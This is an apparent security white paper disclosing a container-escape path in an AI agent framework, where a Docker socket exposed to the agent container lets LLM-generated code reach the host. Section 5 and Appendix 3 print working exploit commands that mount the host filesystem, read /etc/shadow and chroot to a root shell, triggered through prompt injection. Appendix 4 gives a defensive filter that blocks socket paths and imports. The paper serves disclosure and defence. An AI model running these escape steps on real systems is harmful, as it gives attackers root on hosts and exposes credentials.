Skip to the content.
🛡️ JDP Security Research Archive ⬅️ Back to Vulnerability Disclosures & Technical White Papers

 

⚠️ SECURITY ADVISORY: Organizations deploying the Microsoft Agent Framework (MAF) v1.0.0 may be operating with an active container escape path. The framework’s architectural design permits permissive configuration of host Docker socket access into the AI agent container. Because the vendor classifies this behavior as intended functionality rather than a serviceable vulnerability, standard vulnerability scanners will not flag this risk. Organizations are advised to manually enforce socket isolation or implement pre-execution validation, such as the JDPEnterpriseSecurityFilter (Appendix 4), to mitigate the risk of LLM-driven host compromise. Platform Engineering and DevSecOps teams must override baseline configurations and enforce these controls.


WHITE PAPER | JDP-2026-002

Infrastructure Breach: Container Privilege Escalation via Insecure AI Orchestration in Microsoft Agent Framework

Author: Jeff Ponte, CISSP, CCSP, CEH | Lead Researcher, JDP Security Research Series
Series: JDP Security AI Orchestration Research Series - 2026 (Disclosure #2)
Initial Documentation Date: April 8, 2026
Target: Microsoft Agent Framework (v1.0.0) | claude-agent-sdk (v0.1.48)
Case Number: MSRC VULN-181659 (MSRC 112751)
CVSS v3.1 Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Status: Vendor Classified as Intended Architectural Behavior (Requires Manual Mitigation)


Executive Summary

This white paper documents a critical architectural vulnerability pattern—container privilege escalation—demonstrated within the Microsoft Agent Framework (MAF). Analysis of the framework reveals a structural trust gap where the core dependency (claude-agent-sdk) explicitly allow-lists and permits configuration of the host’s Docker socket (/var/run/docker.sock) into agent containers.

This design represents a textbook example of Insecure AI Orchestration. When container environments expose this socket via permissive sandbox configurations, any process within the container—including code generated dynamically by a Large Language Model (LLM)—can interact directly with the host Docker daemon. This grants immediate, root-level host access, bypassing container sandboxing.

This paper documents two distinct exploitation techniques:

  1. Restart Ejection – a DoS primitive that terminates the container and ejects the attacker to the host shell.
  2. Host Filesystem Mount – a direct container escape that creates a new container with the host’s root filesystem mounted, yielding a root shell with full read/write access to the host.

The CVSS 10.0 score assumes the LLM interface is exposed without authentication. If authentication is required, the score is 9.9 (Critical) with PR:L.

Because this behavior is currently classified by the vendor’s servicing criteria as intended functionality, organizations must proactively implement secondary infrastructure controls to secure their deployments.


1. Core Architecture: Insecure Defaults

The security risk stems from a deliberate architectural choice that prioritizes execution convenience over infrastructure isolation. The framework operates on a model of Implicit Facilitation.

1.1 Permissive Configuration: Socket Allow-Listing

The framework establishes a permissive bridge to host privileges via its SandboxSettings configuration. In the claude-agent-sdk, socket permissions are explicitly mapped and facilitated through the allowUnixSockets parameter:

# claude_agent_sdk/types.py
# JDP SECURITY ANALYSIS: PRIVILEGE ESCALATION FACILITATION

class NetworkSettings(TypedDict):
    allowUnixSockets: NotRequired[list[str]]
    allowLocalBinding: NotRequired[bool]

class SandboxSettings(TypedDict):
    enabled: NotRequired[bool]
    network: NotRequired[NetworkSettings]

Rather than enforcing isolation by default, this schema allows developers to trivially pass "/var/run/docker.sock" into the allowUnixSockets array, which the framework then actively binds into the container’s execution context.

1.2 Mechanics of Orchestration: Understanding Agent Tools

MAF grants LLMs the functional capability to interact with the operating system via tools.

  1. The Prompt: User requests an action.
  2. The Planner: MAF transmits the prompt to the LLM with a schema of available tools.
  3. The Tool Call: The LLM returns a JSON instruction (e.g., a Python script payload).
  4. The Execution Sink: The framework maps the request to the container, executes the payload natively, and returns the result.

Architectural Trust Failure: MAF fundamentally trusts the non-deterministic output of the LLM while concurrently granting that output direct, unmediated access to the host Docker socket. This violates the principle of least privilege and allows untrusted input to control critical infrastructure components.

1.3 Business Impact: Supply Chain Visibility Risks


2. CVSS v3.1 Scoring Breakdown (10.0 Critical)

Metric Value Reason for Score
Attack Vector (AV) Network Triggered remotely via standard application interfaces (e.g., chat, API).
Attack Complexity (AC) Low Exploit path leverages the framework’s default configuration.
Privileges Required (PR) None Unauthenticated users can trigger the execution via prompt injection.
User Interaction (UI) None The execution sequence can be fully autonomous.
Scope (S) Changed Critical: The attacker achieves execution on the host OS, escaping the container boundary.
Confidentiality (C) High Unrestricted access to host data and cloud control planes.
Integrity (I) High Ability to modify system files, alter configurations, or inject persistence mechanisms.
Availability (A) High Total control to terminate host processes or delete infrastructure.

Assumption: PR:N assumes the LLM chat/API is reachable without authentication. If authentication is enforced, PR:L applies and the base score becomes 9.9 (Critical). The vulnerability remains critical in either case.

Precondition: This score assumes the agent container is deployed with the Docker socket mounted (a common but not default configuration). If the socket is not mounted, the attack is not possible.

CVSS Vector Strings:


3. OWASP Implications: Mapping the Vulnerability

This architectural pattern maps directly to established vulnerabilities within the OWASP Top 10 for Large Language Model Applications.

Red Team Context: This architectural flaw should be incorporated into standard GenAI red teaming methodologies. Framing permissive socket allow-listing via allowUnixSockets as a primary adversarial target for prompt-injection payloads bridges the gap between a theoretical vulnerability and practical, real-world exploit simulation. Red teams should specifically test whether LLM outputs can trigger Docker API calls that create privileged containers or mount host filesystems when socket access is permitted within the sandbox configuration.


4. Disclosure Timeline & Visibility Gaps

The following timeline illustrates the gap between formal vulnerability management and the reality of architectural enterprise risk.


5. Exploitation Mechanics & Post-Exploitation

5.1 Proof of Concept – Restart Ejection (DoS + Host Shell)

  1. Reconnaissance: The attacker instructs the LLM to verify the presence of /var/run/docker.sock within the container.
  2. Payload Generation: The attacker utilizes the LLM to format the exact Docker API endpoint required for container manipulation.
  3. Execution: The attacker triggers a POST request via the socket: curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/$ID/restart.
  4. Host Compromise: The containerized process terminates, and the session is ejected directly to the host shell (vboxuser@Ubuntu-Server:~$).

Note: This technique terminates the container and returns the attacker to the host shell as the user who launched the container (e.g., vboxuser). It does not grant root directly.

5.2 Proof of Concept – Host Filesystem Mount (Root Shell)

This technique uses the mounted Docker socket to create a new container with the host’s root filesystem mounted at /host. The attacker then executes into that container, obtaining a root shell with full read/write access to the host.

Note: Any image with a shell can be used. The example uses maf-sandbox for consistency with the lab environment. The jq utility is required for parsing the JSON response.

Step 1 – Create the container:

CONTAINER_ID=$(curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{"Image":"maf-sandbox","Cmd":["tail","-f","/dev/null"],"HostConfig":{"Binds":["/:/host"]}}' \
  http://localhost/containers/create | jq -r .Id)

Step 2 – Start the container:

curl -s --unix-socket /var/run/docker.sock -X POST \
  http://localhost/containers/$CONTAINER_ID/start

Step 3 – Exec into the container:

Option A – Using the Docker CLI (if available):

docker exec -it $CONTAINER_ID bash

Option B – Using the Docker API directly (no CLI required):

# Create exec instance
EXEC_ID=$(curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Tty":true,"Cmd":["bash"]}' \
  http://localhost/containers/$CONTAINER_ID/exec | jq -r .Id)

# Start exec instance
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{"Detach":false,"Tty":true}' \
  http://localhost/exec/$EXEC_ID/start

Note: Option B demonstrates the API calls required to create and start an exec instance programmatically. To obtain an interactive shell, the client must attach to the exec stream using a WebSocket or raw Unix socket with TTY allocation. A standard curl command will not provide an interactive terminal. This option is shown for completeness; in practice, an attacker would use a script or tool that handles the stream.

Step 4 – Access the host:

ls /host
cat /host/etc/shadow

Step 5 – Drop into the host’s filesystem context (chroot):

chroot /host /bin/bash

This transitions the attacker from merely interacting with a mounted directory to operating a native root shell directly within the host’s filesystem context. The attacker now has full root access to the host.

5.3 Lateral Movement Risks

Upon escaping to the host as a privileged user (e.g., docker group), an attacker can easily escalate to root, enabling:

5.4 Impact

Successful exploitation allows an attacker to:


6. Remediation & Strategic Hardening

6.1 Secure-by-Design Principles

6.2 Required Infrastructure Hardening

Because this is classified as intended behavior, organizations must implement independent controls.

Layer Manual Remediation (Open-Source) Commercial Solution (Proprietary) Technical Impact
Isolation gVisor / Kata Containers Docker Sandbox (MicroVMs) Hardware-isolated kernels prevent socket escapes.
Privilege Reduction Podman (Rootless) Isolated Runtimes Mitigates host compromise by enforcing unprivileged sessions.
Access Control Docker-Socket-Proxy Sandbox Filtering Proxy Blocks destructive or high-privilege API calls (e.g., POST/DELETE).
Detection Falco (eBPF) Cloud Security Posture Management Alerts on unauthorized open_at system calls targeting sockets.

6.3 Runtime Detection & Response


7. Detection & Incident Response

7.1 Telemetry & Detection

7.2 Incident Response Protocol

  1. Containment: Immediately isolate affected containers and the underlying host.
  2. Investigation: Audit LLM prompt history, tool execution logs, and socket interaction events.
  3. Remediation: Apply the infrastructure hardening tiers outlined in Section 6.2.
  4. Impact Assessment: Evaluate potential exposure of host-level data and cloud credentials.

8. Scope and Environmental Limitations

Rootless Docker Environments

This research focused on standard, privileged Docker installations (/var/run/docker.sock). Common sample configurations and starter templates explicitly target this path:

# Example of the permissive configuration targeting the standard socket
network_config = {
    "network": {
        "allowUnixSockets": ["/var/run/docker.sock"] # Standard Linux Docker Socket
    }
}

Note: Environments utilizing Docker Desktop on Windows or macOS typically employ named pipes or localized sockets (e.g., //./pipe/docker_engine). While MAF’s default configuration targets Linux paths, the underlying architectural trust gap remains active. Modifying the configuration to include these alternative paths will expose those environments to identical risks.

Note on Restart Ejection: The restart technique ejects the attacker to the host shell as the user running the container. It does not grant root directly. The host filesystem mount technique (Section 5.2) provides a root shell with full host access.


Conclusion

When an AI framework’s architecture permits permissive socket configurations that facilitate host compromise, it reveals a critical misalignment between traditional vulnerability classification and modern agentic orchestration. The JDP Security Research Series submits these findings to the broader security community to highlight how architectural intent can bypass SCA visibility, establishing the urgent need for robust, defense-in-depth strategies when deploying autonomous AI agents. Organizations must treat the Docker socket as a root-equivalent credential and enforce strict isolation, because the framework’s permissive configuration provides a direct path from LLM output to host compromise.


Appendices

Appendix 1: Forensic Artifacts

Appendix 2: Ecosystem Risk Assessment

A qualitative audit of public GitHub repositories utilizing MAF indicates pervasive insecure deployment patterns across the ecosystem. Analysis of starter templates and community examples reveals:

Methodology: The audit was conducted via automated GitHub API queries combined with static analysis using Semgrep rules targeting Dockerfile and docker-compose.yml configurations. The dataset was filtered for repositories with active MAF dependencies and at least one agent container definition.

Appendix 3: The “Raw Socket” Vector

This execution vector relies entirely on native Python libraries, requiring no external dependencies to communicate with the Docker API:

import socket

request = (
    "POST /v1.41/containers/self/restart HTTP/1.1\r\n"
    "Host: localhost\r\n"
    "Content-Length: 0\r\n\r\n"
)

with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as s:
    s.connect("/var/run/docker.sock")
    s.sendall(request.encode())

Appendix 4: Pre-Execution Validation (JDPEnterpriseSecurityFilter)

To address the architectural trust gap, frameworks must implement security-by-design, analyzing LLM-generated payloads prior to execution. The JDPEnterpriseSecurityFilter demonstrates an AST (Abstract Syntax Tree) middleware approach to intercept dangerous operations. (Note: This conceptual filter analyzes Python execution. Comprehensive implementations require language-agnostic validation.)

import ast
from typing import Dict, Any

class SecurityViolationException(Exception):
    """Exception raised for identified security violations."""
    pass

class JDPEnterpriseSecurityFilter:
    def __init__(self):
        self.blocked_paths = ["/var/run/docker.sock", "docker.sock", "unix://"]
        self.blocked_imports = {"socket", "docker", "http.client", "urllib"}
    
    def inspect_tool_call(self, tool_name: str, arguments: Dict[str, Any]):
        """Analyze tool arguments for malicious patterns prior to execution."""
        for key, value in arguments.items():
            if isinstance(value, str):
                self._analyze_python_ast(value)
    
    def _analyze_python_ast(self, code_snippet: str):
        """Execute AST analysis to identify restricted operations."""
        tree = ast.parse(code_snippet)
        
        for node in ast.walk(tree):
            # Restrict high-risk module imports
            if isinstance(node, ast.Import):
                for alias in node.names:
                    if alias.name.split('.')[0] in self.blocked_imports:
                        raise SecurityViolationException(f"Restricted module import blocked: {alias.name}")
            
            # Intercept socket connections targeting Docker API
            elif isinstance(node, ast.Call):
                if isinstance(node.func, ast.Attribute):
                    if node.func.attr == 'connect' and isinstance(node.func.value, ast.Name):
                        if node.func.value.id == 'socket':
                            for arg in node.args:
                                if isinstance(arg, ast.Constant):
                                    if any(blocked in str(arg.value) for blocked in self.blocked_paths):
                                        raise SecurityViolationException(
                                            f"Unauthorized socket connection intercepted: {arg.value}"
                                        )
            
            # Prevent dynamic code evaluation
            elif isinstance(node, ast.Call):
                if isinstance(node.func, ast.Name):
                    if node.func.id in ['eval', 'exec', '__import__']:
                        raise SecurityViolationException(
                            f"Dynamic code execution is disabled: {node.func.id}"
                        )

# Example Middleware Integration
class MAFSecurityMiddleware:
    """Security middleware for agentic orchestration frameworks."""
    
    def __init__(self):
        self.security_filter = JDPEnterpriseSecurityFilter()
    
    async def before_tool_execution(self, tool_call: Dict, context: Any):
        """Mandatory security gate prior to tool execution sink."""
        self.security_filter.inspect_tool_call(
            tool_name=tool_call.get('name', ''),
            arguments=tool_call.get('arguments', {})
        )
        return tool_call  # Validation passed

Appendix 5: Analytical Methodology

Repository Deployment Analysis

An analysis of GitHub repositories deploying MAF was conducted to evaluate real-world security postures:

Evaluation Criteria
CRITERIA = {
    'docker_socket_mounted': 'volume mount to /var/run/docker.sock',
    'container_user': 'USER directive in Dockerfile',
    'security_profiles': 'AppArmor/SELinux/Seccomp declarations',
    'isolation_mechanisms': 'Presence of gVisor/Kata/Podman configurations'
}

Note: Initial ecosystem scans indicate that the vast majority of public deployments flag positive for direct socket mounting and root execution while lacking isolation mechanisms.


Appendix 6: Execution Demonstrations

This section provides visual artifacts confirming the container escape methodology when orchestrated via the Microsoft Agent Framework.

Note on Lab Setup & Model Independence: While the framework’s core configuration dependency is named claude-agent-sdk, the vulnerability exists entirely at the container orchestration layer. The claude-agent-sdk dependency is responsible for parsing the permissive allowUnixSockets configuration, which exposes /var/run/docker.sock inside the container. Because this exposes the host Docker daemon directly to the containerized environment, the exploit is model-agnostic. For the lab demonstrations recorded below, a local Ollama instance (Llama 3.2) was utilized to ensure offline reproducibility and avoid API rate limits, demonstrating that any model (or automated script) operating within the flawed sandbox can execute the escape.


1. maf-cve-Ollama-LLM.cast

Supporting Files:


2. maf-cve-Ollama-LLM-NoCURLAPI-CALL.cast

Supporting Files: